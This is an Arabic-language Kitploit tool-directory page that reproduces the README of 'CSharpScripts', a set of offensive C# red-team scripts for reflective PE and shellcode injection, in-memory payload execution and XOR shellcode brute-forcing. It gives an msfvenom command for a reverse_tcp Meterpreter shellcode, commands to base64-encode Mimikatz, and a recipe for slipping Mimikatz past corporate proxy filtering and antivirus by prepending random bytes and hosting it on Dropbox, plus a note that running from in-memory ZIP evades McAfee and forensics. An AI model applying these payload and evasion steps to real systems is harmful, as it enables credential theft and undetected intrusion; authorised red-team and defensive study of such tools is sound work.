Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CSharpScripts — نصوص C# هجومية لحقن PE الانعكاسي وshellcode، وتنفيذ الحمولات في الذاكرة، وفك تشفير shellcode بالقوة الغاشمة عبر XOR، وتحليل تجميعات .NET. | Kitploit
أدوات/GitHubGitHub/arno0x/csharpscripts
أدوات التشفير/فك التشفيرالهندسة العكسيةشيل كودما بعد الاستغلالتحليل البرمجيات الخبيثةاختبار الاختراقالفريق الأحمرتطوير الحمولاتاستغلال الملفات الثنائية
GitHubarno0x/csharpscripts

CSharpScripts

نصوص C# هجومية لحقن PE الانعكاسي وshellcode، وتنفيذ الحمولات في الذاكرة، وفك تشفير shellcode بالقوة الغاشمة عبر XOR، وتحليل تجميعات .NET.

34411220منذ 9 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

نصوص C#

المؤلف: Arno0x0x - @Arno0x0x

يهدف هذا المستودع إلى نشر بعض من نصوص C# الخاصة بي. بعضها مجرد نسخ متفرعة/مستوحاة من نصوص أخرى وجدتها هنا وهناك، وقد كيّفتها لتلائم احتياجاتي أو لمجرد التعلم والتحسين.

فك التشفير بالقوة الغاشمة (bf)، ثم تحميل وتنفيذ شيفرة قشرية مشفرة بـ xor

bfDecryptShellcode.cs

هذا النص هو إثبات مفهوم (PoC) ساذج قليلاً وربما غير مفيد كثيراً لفك تشفير شيفرة قشرية مشفرة بـ XOR متعدد البايتات بالقوة الغاشمة. بمجرد فك تشفير الشيفرة القشرية، يتم تحميلها في الذاكرة وتنفيذها.

لاستخدامه، تحتاج إلى شيئين:

  1. شيفرة قشرية مشفرة بـ XOR متعدد البايتات
  2. تجزئة MD5 للحمولة المفكوك تشفيرها والتي تعمل كعلامة لمعرفة أنه تم العثور على مفتاح فك التشفير الصحيح

يمكنك الحصول على كليهما باستخدام مشروع ShellcodeWrapper الخاص بي وتزويده بأي حمولة metasploit خام.

تحميل وتحليل تجميعة .Net ديناميكياً

parseAssembly.cs

سيقوم تطبيق وحدة التحكم هذا بتحميل تجميعة .Net (exe أو dll) ديناميكياً، إما من ملف محلي أو من عنوان URL تم تنزيله منه، واختيارياً بترميز base64. بمجرد التحميل، سيقوم بتعداد أنواعها وطرقها وخصائصها. أمثلة: parseAssembly.exe myAssembly.dll أو parseAssembly.exe http://some.site.com/myAssembly base64

اللعب مع الحقن الانعكاسي لـ PE والشيفرة القشرية

هذه مجموعة من النصوص المقتبسة من عمل Casey Smith (@subTee) حول الحقن الانعكاسي لـ PE أو الشيفرة القشرية في العملية المستدعية، من مصادر متنوعة.

peloader.cs

يقوم هذا النص بتحميل ملف PE x64 مشفر بـ base64 (على سبيل المثال: Mimikatz أو Meterpreter) في ذاكرة العملية وتنفيذه انعكاسياً. يتم تمرير PE كمتغير سلسلة base64 في بداية الملف (نعم، إنه مُضمّن بشكل ثابت).

يمكنك إنشاء سلسلة base64 هذه من أي ملف باستخدام سطر الأوامر التالي في *nix:

root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64

يتطلب تجميع السكربت على جهاز يعمل بنظام Windows إطار عمل .Net (مثبّت افتراضيًا على Windows 7 وما بعده):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs

shellcodelauncher.cs

يقوم هذا السكربت بتنفيذ shellcode في ذاكرة العملية وتنفيذه انعكاسيًا. يتم تمرير shellcode كمصفوفة من البايتات في متغير. يمكنك الحصول على الشيفرة المناسبة لهذه المصفوفة مولّدة تلقائيًا لك باستخدام أداة msfvenom من Metasploit. على سبيل المثال، لتوليد shellcode من نوع reverse_tcp meterpreter:

root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp

يتطلب تجميع السكربت على جهاز يعمل بنظام Windows إطار عمل .Net (مثبّت افتراضيًا على Windows 7 وما بعده):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs

runfromzipinmemory.cs

هذا السكربت مبني بشكل كبير ومخجل، ومستوحى، ومشتق من عمل Casey Smith (@subTee) على Netkatz.

اكتشفت أن برنامج مكافحة الفيروسات المحلي (McAfee) على محطة العمل الخاصة بالشركة مُهيأ لـعدم تحليل محتوى ملف ZIP، ربما على افتراض أنه كلما كان هذا المحتوى سيُقرأ أو يُنفَّذ فسيتم عادةً استخراجه أولاً في مكان ما على القرص، وأي شيء ضار فيه سيتم اكتشافه بواسطة برنامج مكافحة الفيروسات في ذلك الوقت.

ما يفعله هذا السكربت هو تحميل كل شيء في الذاكرة والعمل من هناك فقط، باستخدام الانعكاس (reflection) أيضاً لتنفيذ ملف PE من ذاكرة العملية المستدعية.

لذا ليس فقط أن برنامج مكافحة الفيروسات لا ينبح على الإطلاق، بل من منظور جنائي، تبدو "العملية الوحيدة الظاهرة قيد التشغيل" بريئة تماماً.

يتطلب تجميع السكربت على جهاز Windows إطار عمل .Net (المثبَّت افتراضياً على Windows 7 فما بعد):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs

يمكنك بعد ذلك تنفيذ:

unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>

netPEloader.cs

يعتمد هذا السكربت بشكل كبير على عمل Casey Smith (@subTee) على Netkatz ومستوحى منه.

Netkatz هو إثبات مفهوم (PoC) رائع لتحميل أحدث إصدار من mimikatz من GitHub وتنفيذه مباشرة في الذاكرة. ومع ذلك، واجهت ثلاث مشكلات في بيئتي:

  1. يجب أن يتم الاتصال بالإنترنت عبر وكيل مؤسسي يتطلب مصادقة NTLM (Windows SSO مقبول)
  2. صفحة GitHub الخاصة بـ Mimikatz محظورة بواسطة الوكيل المؤسسي بسبب تصنيف المواقع
  3. يتم اكتشاف ملف mimikatz_trunked.zip بواسطة مضاد الفيروسات على مستوى الوكيل (نعم، مع تفعيل فحص SSL على مستوى الوكيل)

لذلك قمت بتعديل سكربت netkatz الأصلي لمعالجة هذه المشكلات الثلاث:

  1. أضفت دعم وكيل النظام وبيانات الاعتماد الافتراضية (مستخدم Windows المسجل دخوله حاليًا)
  2. استضافة ملف PE على موقع ويب غير محظور، يبدو بريئًا مثل www.dropbox.com
  3. فيما يتعلق بجعل ملف PE غير قابل للاكتشاف بواسطة مضاد الفيروسات، يمكننا استخدام طرق تشويش متنوعة مثل التشفير أو ترميز معين، لكنني أحب التقنية البسيطة المتمثلة في إضافة 65536 بايت عشوائية من البيانات غير المفيدة في بداية ملف Mimikatz PE الحقيقي x64:
    • dd if=/dev/urandom of=garbage bs=65536 count=1
    • cat garbage mimikatz.exe > mimiHidden
    • ارفع mimiHidden إلى dropbox وشاركه

عنوان URL الذي سيتم تنزيل ملف PE المخفي منه مضمّن بشكل ثابت في السكربت.

يتطلب تجميع السكربت على جهاز Windows إطار عمل .Net (المثبّت افتراضيًا على Windows 7 فما بعد):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs
تنزيل الأداة